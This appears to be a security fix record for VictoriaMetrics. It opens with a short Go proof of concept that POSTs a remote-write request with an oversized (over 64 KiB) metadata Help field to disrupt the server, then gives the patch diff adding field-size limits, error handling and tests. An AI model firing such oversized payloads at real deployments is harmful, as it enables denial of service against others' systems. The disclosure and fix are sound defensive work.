Memory safety / DoS via oversized metric metadata fields

package main import ( "bytes" "net/http" "log" "strings" "time" prompb "github.com/VictoriaMetrics/VictoriaMetrics/lib/prompb" "github.com/gogo/protobuf/proto" ) func main() { // Build an oversized metadata field (Help) to exceed 64KiB largeHelp := strings.Repeat("A", 64*1024+1) md := prompb.MetricMetadata{ MetricFamilyName: "poc_metric", Help: largeHelp, Type: prompb.MetricTypeGauge, } wr := prompb.WriteRequest{Metadata: []prompb.MetricMetadata{md}} data, err := proto.Marshal(&wr) if err != nil { log.Fatalf("failed to marshal write request: %v", err) } // Adjust URL to match your VictoriaMetrics deployment (remote write path used in tests) url := "http://victoriametrics.example.com/insert/multitenant/prometheus/api/v1/write" req, err := http.NewRequest("POST", url, bytes.NewReader(data)) if err != nil { log.Fatalf("failed to create request: %v", err) } req.Header.Set("Content-Type", "application/x-protobuf") // If your deployment requiresTenant header, set it accordingly // req.Header.Set("X-Prometheus-Remote-Write-Tenant", "default") client := &http.Client{Timeout: 10 * time.Second} resp, err := client.Do(req) if err != nil { log.Fatalf("request failed: %v", err) } defer resp.Body.Close() log.Printf("response status: %s", resp.Status) }

diff --git a/app/vmagent/remotewrite/remotewrite.go b/app/vmagent/remotewrite/remotewrite.go index 83ab87142d910..98ab0d4626244 100644 --- a/app/vmagent/remotewrite/remotewrite.go +++ b/app/vmagent/remotewrite/remotewrite.go @@ -571,6 +571,14 @@ func tryPushMetadataToRemoteStorages(at *auth.Token, rwctxs []*remoteWriteCtx, m mm.ProjectID = at.ProjectID } } + tmp := mms[:0] + for _, mm := range mms { + if timeserieslimits.IsMetricMetadataExceeding(&mm) { + continue + } + tmp = append(tmp, mm) + } + mms = tmp // Do not shard metadata even if -remoteWrite.shardByURL is set, just replicate it among rwctxs. // Since metadata is usually small and there is no guarantee that metadata can be sent to // the same remote storage with the corresponding metrics. diff --git a/app/vminsert/common/insert_ctx.go b/app/vminsert/common/insert_ctx.go index 5fbca5932655c..67f10a77527d8 100644 --- a/app/vminsert/common/insert_ctx.go +++ b/app/vminsert/common/insert_ctx.go @@ -175,13 +175,19 @@ func (ctx *InsertCtx) WriteMetadata(mmpbs []prompb.MetricMetadata) error { } mms := ctx.mms mms = slicesutil.SetLength(mms, len(mmpbs)) - for idx, mmpb := range mmpbs { - mm := &mms[idx] + var cnt int + for _, mmpb := range mmpbs { + if timeserieslimits.IsMetricMetadataExceeding(&mmpb) { + continue + } + mm := &mms[cnt] mm.MetricFamilyName = bytesutil.ToUnsafeBytes(mmpb.MetricFamilyName) mm.Help = bytesutil.ToUnsafeBytes(mmpb.Help) mm.Type = mmpb.Type mm.Unit = bytesutil.ToUnsafeBytes(mmpb.Unit) + cnt++ } + mms = mms[:cnt] ctx.mms = mms err := vmstorage.VMInsertAPI.WriteMetadata(mms) @@ -201,14 +207,19 @@ func (ctx *InsertCtx) WritePromMetadata(mmps []prometheus.Metadata) error { } mms := ctx.mms mms = slicesutil.SetLength(mms, len(mmps)) - for idx, mmpb := range mmps { - mm := &mms[idx] + var cnt int + for _, mmpb := range mmps { + mm := &mms[cnt] + if timeserieslimits.IsPrometheusMetadataExceeding(&mmpb) { + continue + } mm.MetricFamilyName = bytesutil.ToUnsafeBytes(mmpb.Metric) mm.Help = bytesutil.ToUnsafeBytes(mmpb.Help) mm.Type = mmpb.Type + cnt++ } + mms = mms[:cnt] ctx.mms = mms - err := vmstorage.VMInsertAPI.WriteMetadata(mms) if err != nil { return &httpserver.ErrorWithStatusCode{ diff --git a/apptest/tests/metricsmetadata_test.go b/apptest/tests/metricsmetadata_test.go index ca1ab098dde26..a88a11fe2dd66 100644 --- a/apptest/tests/metricsmetadata_test.go +++ b/apptest/tests/metricsmetadata_test.go @@ -2,6 +2,7 @@ package tests import ( "fmt" + "math" "testing" "github.com/google/go-cmp/cmp" @@ -25,7 +26,11 @@ func TestSingleMetricsMetadata(t *testing.T) { if len(resp.Data) != 0 { t.Fatalf("unexpected resp Records: %d, want: %d", len(resp.Data), 0) } - + generateValueExceedLimit := func(prefix string) string { + buf := make([]byte, math.MaxUint16+len(prefix)) + copy(buf, prefix) + return string(buf) + } const ingestTimestamp = 1707123456700 prometheusTextDataSet := []string{ `# HELP metric_name_1 some help message`, @@ -40,6 +45,12 @@ func TestSingleMetricsMetadata(t *testing.T) { `# TYPE metric_name_3 gauge`, `metric_name_3{label="baz"} 30`, } + prometheusTextDataSet = append(prometheusTextDataSet, + `# HELP metric_name_4 `+generateValueExceedLimit("large help"), + `# TYPE metric_name_4 gauge`, + `metric_name_4{label="baz"} 30`, + ) + prometheusRemoteWriteDataSet := prompb.WriteRequest{ Timeseries: []prompb.TimeSeries{ {Labels: []prompb.Label{{Name: "__name__", Value: "metric_name_4"}}, Samples: []prompb.Sample{{Value: 40, Timestamp: ingestTimestamp}}}, @@ -52,6 +63,9 @@ func TestSingleMetricsMetadata(t *testing.T) { {MetricFamilyName: "metric_name_5", Help: "some help message", Type: prompb.MetricTypeSummary}, {MetricFamilyName: "metric_name_6", Help: "some help message", Type: prompb.MetricTypeStateset}, {MetricFamilyName: `metric_name_7_!@"_suffix`, Help: "some help message", Type: prompb.MetricTypeStateset}, + {MetricFamilyName: "metric_name_8", Help: generateValueExceedLimit("large_help"), Type: prompb.MetricTypeStateset}, + {MetricFamilyName: "metric_name_9", Help: "some help message", Type: prompb.MetricTypeStateset, Unit: generateValueExceedLimit("large_unit")}, + {MetricFamilyName: generateValueExceedLimit("metric_name_10"), Help: "some help message", Type: prompb.MetricTypeStateset}, }, } @@ -137,6 +151,11 @@ func TestClusterMetricsMetadata(t *testing.T) { if len(resp.Data) != 0 { t.Fatalf("unexpected resp Records: %d, want: %d", len(resp.Data), 0) } + generateValueExceedLimit := func(prefix string) string { + buf := make([]byte, math.MaxUint16+len(prefix)) + copy(buf, prefix) + return string(buf) + } const ingestTimestamp = 1707123456700 prometheusTextDataSet := []string{ @@ -152,6 +171,11 @@ func TestClusterMetricsMetadata(t *testing.T) { `# TYPE metric_name_3 gauge`, `metric_name_3{label="baz"} 30`, } + prometheusTextDataSet = append(prometheusTextDataSet, + `# HELP metric_name_4 `+generateValueExceedLimit("large help"), + `# TYPE metric_name_4 gauge`, + `metric_name_4{label="baz"} 30`, + ) prometheusRemoteWriteDataSet := prompb.WriteRequest{ Timeseries: []prompb.TimeSeries{ {Labels: []prompb.Label{{Name: "__name__", Value: "metric_name_4"}}, Samples: []prompb.Sample{{Value: 40, Timestamp: ingestTimestamp}}}, @@ -164,6 +188,9 @@ func TestClusterMetricsMetadata(t *testing.T) { {MetricFamilyName: "metric_name_5", Help: "some help message", Type: prompb.MetricTypeSummary}, {MetricFamilyName: "metric_name_6", Help: "some help message", Type: prompb.MetricTypeStateset}, {MetricFamilyName: `metric_name_7_!@"_suffix`, Help: "some help message", Type: prompb.MetricTypeStateset}, + {MetricFamilyName: "metric_name_8", Help: generateValueExceedLimit("large_help"), Type: prompb.MetricTypeStateset}, + {MetricFamilyName: "metric_name_9", Help: "some help message", Type: prompb.MetricTypeStateset, Unit: generateValueExceedLimit("large_unit")}, + {MetricFamilyName: generateValueExceedLimit("metric_name_10"), Help: "some help message", Type: prompb.MetricTypeStateset}, }, } diff --git a/apptest/tests/vmagent_remotewrite_test.go b/apptest/tests/vmagent_remotewrite_test.go index b68659e4d2d44..074ff7d19b7e4 100644 --- a/apptest/tests/vmagent_remotewrite_test.go +++ b/apptest/tests/vmagent_remotewrite_test.go @@ -517,10 +517,15 @@ func TestClusterVMAgentForwardMetricsMetadata(t *testing.T) { "-remoteWrite.tmpDataPath=" + tc.Dir() + "/vmagent", fmt.Sprintf(`-remoteWrite.url=http://%s/insert/multitenant/prometheus/api/v1/write`, sut.Vminsert.HTTPAddr()), }) - + generateValueExceedLimit := func(prefix string) string { + buf := make([]byte, math.MaxUint16+len(prefix)) + copy(buf, prefix) + return string(buf) + } prometheusRemoteWriteDataSet := prompb.WriteRequest{ Metadata: []prompb.MetricMetadata{ {MetricFamilyName: "metric_name_4", Help: "some help message", Type: prompb.MetricTypeSummary, AccountID: 100}, + {MetricFamilyName: "metric_name_8", Help: generateValueExceedLimit("large_help"), Type: prompb.MetricTypeStateset, AccountID: 100}, }, } vmagent.PrometheusAPIV1Write(t, prometheusRemoteWriteDataSet, apptest.QueryOpts{Tenant: "multitenant"}) diff --git a/lib/storage/metricsmetadata/row.go b/lib/storage/metricsmetadata/row.go index cec9a40d96aac..e6e3251b39737 100644 --- a/lib/storage/metricsmetadata/row.go +++ b/lib/storage/metricsmetadata/row.go @@ -2,6 +2,7 @@ package metricsmetadata import ( "fmt" + "math" "github.com/VictoriaMetrics/VictoriaMetrics/lib/bytesutil" "github.com/VictoriaMetrics/VictoriaMetrics/lib/encoding" @@ -24,7 +25,7 @@ type Row struct { } // MarshalTo serializes Row into provided buffer and returns result -func (mr *Row) MarshalTo(dst []byte) []byte { +func (mr *Row) MarshalTo(dst []byte) ([]byte, error) { dstLen := len(dst) // tenant information (accountID and projectID) dstSize := dstLen + 8 @@ -37,10 +38,20 @@ func (mr *Row) MarshalTo(dst []byte) []byte { dst = encoding.MarshalUint32(dst, mr.AccountID) dst = encoding.MarshalUint32(dst, mr.ProjectID) dst = encoding.MarshalUint32(dst, uint32(mr.Type)) - dst = marshalBytesFast(dst, mr.MetricFamilyName) - dst = marshalBytesFast(dst, mr.Help) - dst = marshalBytesFast(dst, mr.Unit) - return dst + var err error + dst, err = marshalBytesFast(dst, mr.MetricFamilyName) + if err != nil { + return dst, fmt.Errorf("cannot marshal MetricFamilyName: %w", err) + } + dst, err = marshalBytesFast(dst, mr.Help) + if err != nil { + return dst, fmt.Errorf("cannot marshal Help: %w", err) + } + dst, err = marshalBytesFast(dst, mr.Unit) + if err != nil { + return dst, fmt.Errorf("cannot marshal Unit: %w", err) + } + return dst, nil } // Unmarshal parses Row from provided buffer and returns tail buffer @@ -126,8 +137,11 @@ func UnmarshalRows(dst []Row, src []byte, maxRows int) ([]Row, []byte, error) { return dst, src, nil } -func marshalBytesFast(dst []byte, s []byte) []byte { +func marshalBytesFast(dst []byte, s []byte) ([]byte, error) { + if len(s) > math.MaxUint16 { + return dst, fmt.Errorf("size of s: %d cannot exceed max uint16", len(s)) + } dst = encoding.MarshalUint16(dst, uint16(len(s))) dst = append(dst, s...) - return dst + return dst, nil } diff --git a/lib/timeserieslimits/timeseries_limits.go b/lib/timeserieslimits/timeseries_limits.go index 6075bd1bfa9ac..921191ae1a541 100644 --- a/lib/timeserieslimits/timeseries_limits.go +++ b/lib/timeserieslimits/timeseries_limits.go @@ -1,6 +1,7 @@ package timeserieslimits import ( + "math" "time" "github.com/VictoriaMetrics/metrics" @@ -8,6 +9,7 @@ import ( "github.com/VictoriaMetrics/VictoriaMetrics/lib/atomicutil" "github.com/VictoriaMetrics/VictoriaMetrics/lib/logger" "github.com/VictoriaMetrics/VictoriaMetrics/lib/prompb" + "github.com/VictoriaMetrics/VictoriaMetrics/lib/protoparser/prometheus" ) var ( @@ -44,6 +46,9 @@ func Init(inputMaxLabelsPerTimeseries, inputMaxLabelNameLen, inputMaxLabelValueL _ = metrics.GetOrCreateGauge(`vm_rows_ignored_total{reason="too_long_label_value"}`, func() float64 { return float64(ignoredSeriesWithTooLongLabelValue.Load()) }) + _ = metrics.GetOrCreateGauge(`vm_rows_ignored_total{reason="too_long_metric_metadata_value"}`, func() float64 { + return float64(ignoredMetricsMetadataWithTooLongValue.Load()) + }) } var ( @@ -61,6 +66,8 @@ var ( // ignoredSeriesWithTooLongLabelValue is the number of ignored series which contain labels with too long values ignoredSeriesWithTooLongLabelValue atomicutil.Uint64 + + ignoredMetricsMetadataWithTooLongValue atomicutil.Uint64 ) func trackIgnoredSeriesWithTooManyLabels(labels []prompb.Label) { @@ -132,3 +139,56 @@ func IsExceeding(labels []prompb.Label) bool { } return false } +func trackIgnoredMetricMetadataWithTooLongValue(fieldName, metricName string, fieldSize int) { + ignoredMetricsMetadataWithTooLongValue.Add(1) + select { + case <-ignoredSeriesWithTooLongLabelValueLogTicker.C: + // Do not call logger.WithThrottler() here, since this will result in increased CPU usage + logger.Warnf("ignoring metric metadata with metric name %q; field %q value length=%d exceeds %d limit; "+ + "reduce the size of field at metric metadata source.", + metricName, fieldName, fieldSize, metricMetadataMaxFieldValueSize) + default: + } +} + +// metricMetadataMaxFieldValueSize defines max size of string fields at MetricMetadata +// See https://github.com/VictoriaMetrics/VictoriaMetrics/issues/11128 for details +const metricMetadataMaxFieldValueSize = math.MaxUint16 + +// IsMetricMetadataExceeding returns true if prompb.MetricMetadata Help, MetricFamilyName, or Unit field value size exceed the 64KiB limit. +// +// Additionally, it increments the corresponding metrics and prints warning messages to the log. +func IsMetricMetadataExceeding(md *prompb.MetricMetadata) bool { + if len(md.Help) > metricMetadataMaxFieldValueSize { + trackIgnoredMetricMetadataWithTooLongValue("help", md.MetricFamilyName, len(md.Help)) + return true + } + if len(md.MetricFamilyName) > metricMetadataMaxFieldValueSize { + trackIgnoredMetricMetadataWithTooLongValue("metricFamilyName", md.MetricFamilyName, len(md.MetricFamilyName)) + + return true + } + if len(md.Unit) > metricMetadataMaxFieldValueSize { + trackIgnoredMetricMetadataWithTooLongValue("unit", md.MetricFamilyName, len(md.Unit)) + return true + } + + return false +} + +// IsPrometheusMetadataExceeding returns true if prometheus.Metadata Help or Metric field value size exceed the 64KiB limit. +// +// Additionally, it increments the corresponding metrics and prints warning messages to the log. +func IsPrometheusMetadataExceeding(md *prometheus.Metadata) bool { + if len(md.Help) > metricMetadataMaxFieldValueSize { + trackIgnoredMetricMetadataWithTooLongValue("help", md.Metric, len(md.Help)) + return true + } + if len(md.Metric) > metricMetadataMaxFieldValueSize { + trackIgnoredMetricMetadataWithTooLongValue("metric", md.Metric, len(md.Metric)) + + return true + } + + return false +}